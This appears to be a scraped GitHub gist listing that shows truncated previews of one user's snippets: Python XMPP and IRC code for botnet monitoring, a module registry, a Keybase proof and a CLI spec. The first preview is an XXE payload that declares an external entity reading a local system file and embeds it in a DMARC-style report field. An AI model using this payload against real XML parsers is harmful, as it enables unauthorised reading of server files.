This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE foo [ | |
<!ENTITY xxe SYSTEM "file://etc/hostname" > | |
] | |
> | |
<feedback> | |
<report_metadata> | |
<org_name>ngyn</org_name> | |
<email>abuse@163.com</email> | |
<report_id>&xxe;</report_id> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# moduleManager.py | |
modules = {} | |
def register(module): | |
""" | |
Decorator to be used for registering a function belonging to a module that | |
handles the configuration for that module | |
""" | |
def registered_module(funct): | |
if module in modules: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sleekxmpp | |
def main() : | |
bot = GreetBot("echobot@pjlantz.com/HelloWorld", "mypass") | |
bot.run() | |
class GreetBot : | |
def __init__(self, jid, password) : | |
self.xmpp = sleekxmpp.ClientXMPP(jid, password) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import select | |
from gevent.monkey import patch_all | |
patch_all(os=True, select=True) | |
def raw_input(message): | |
""" | |
Non-blocking raw_input from stdin. | |
""" | |
sys.stdout.write(message) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Keybase proof | |
I hereby claim: | |
* I am pjlantz on github. | |
* I am patriktruesec (https://keybase.io/patriktruesec) on keybase. | |
* I have a public key ASD0ImJObH8spFMPTN7qpn4Tj0TmzfB9ZFcHnJNiubYX1wo | |
To claim this, I am signing this object: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CLI XMLRPCServer/MonitorSpawner | |
====================== ====================================== | |
create file JSONConf -> create remote settings file from 'JSONConf' | |
load id file -> read remote 'file' + start monitor with id 'id' | |
status -> list all remote filenames + monitoring status and id for each file | |
list file -> show settings of remote 'file' | |
delete file -> delete remote 'file' | |
stop/restart id -> start/restart monitor with id 'id' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, threading | |
from twisted.internet import defer, reactor | |
class IRC(object): | |
""" | |
Implementation of a irc client to do irc based | |
botnet monitoring | |
""" | |
def __init__(self): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
from twisted.internet import defer, reactor | |
class IRC(object): | |
""" | |
Implementation of a irc client to do irc based | |
botnet monitoring | |
""" | |
def __init__(self, nick): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Request answers from other sensors if someone is tracking this host | |
<iq type="get> | |
<trackReq id="1" xmlns="hale:trackReq"> | |
<host>irc.freenode.net</host> | |
</trackReq> | |
</iq> | |
# Answer from a sensor if someone is tracking it | |
<iq type="result"> |